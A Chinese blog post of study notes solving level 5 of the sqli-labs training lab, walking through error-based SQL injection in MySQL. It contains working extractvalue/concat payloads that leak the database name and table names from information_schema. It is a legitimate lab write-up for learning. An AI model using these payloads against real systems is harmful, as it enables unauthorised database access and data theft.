sqllab第五关通关笔记

知识点:

  • 报错注入函数语法(详见第二关笔记)
  • 报错注入打印位数最多32位
  • 对于大于32位的数据最好使用截取函数进行控制;以保证输出完整
  • mysql表中的重点数据库
    • information_schema (mysql 5.0以上)
      • schemata 存放所有数据库名
        • schema_name
      • tables 存放所有表名
        • table_schema
        • table_name
      • columns 存放所有字段名
        • table_schema
        • table_name
        • column_name

首先检测注入类型

构造id=1/0

发现输出了一句话;没有报错;但也没有任何有价值的信息

构造id=1

发现输出和1/0一样;说明是字符型注入,而且回显信息固定,无价值

构造id=1'

发现报错了;好的;说明还是单引号的输入提取

进一步验证;构造id=1''

正常输出内容;确认这里存在字符型注入点

由于回显内容固定,所以不能采用联合注入了,只能进行错误注入了

构造payload:id=1' and extractvalue(1,concat(0x7e,database(),0x7e))+--+

成功输出了数据库的名字

下面进一步输出表的名字

构造payload:id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e))+--+

发现也是可以输出的;错误注入的效果还是挺大的

但是这里得注意一个问题:错误注入的输出限制是32位;最好采用截取函数进行控制

10

相关推荐
AI视觉网奇26 分钟前
transformer 优化笔记 持续更新
笔记
张同学039 小时前
220V 转 12V/5V 电源输入电路设计笔记
笔记·嵌入式硬件·硬件工程
深蓝海拓9 小时前
S7-1500PLC学习笔记:MOVE_BLK、MOVE_BLK_VARIANT、BLKMOV的区别
笔记·学习·plc
雨浓YN10 小时前
OPC UA 通讯开发笔记 - 基于本地dll文件
windows·笔记
深蓝海拓11 小时前
S7-1500学习笔记:用户自定义数据类型(UDT)
笔记·学习·plc
罗罗攀11 小时前
PyTorch学习笔记|神经网络的损失函数
人工智能·pytorch·笔记·神经网络·学习
tq108613 小时前
价值:社会对劳动所产生的效用增量形成的局部共识
笔记
A923A13 小时前
【小兔鲜电商前台 | 项目笔记】第八天
前端·vue.js·笔记·项目·小兔鲜
猹叉叉(学习版)14 小时前
【系统分析师_知识点整理】 15.数学计算与知识产权
笔记·软考·知识产权·系统分析师
風清掦16 小时前
【江科大STM32学习笔记-10】I2C通信协议 - 10.1 软件I2C读写MPU6050
笔记·stm32·单片机·嵌入式硬件·物联网·学习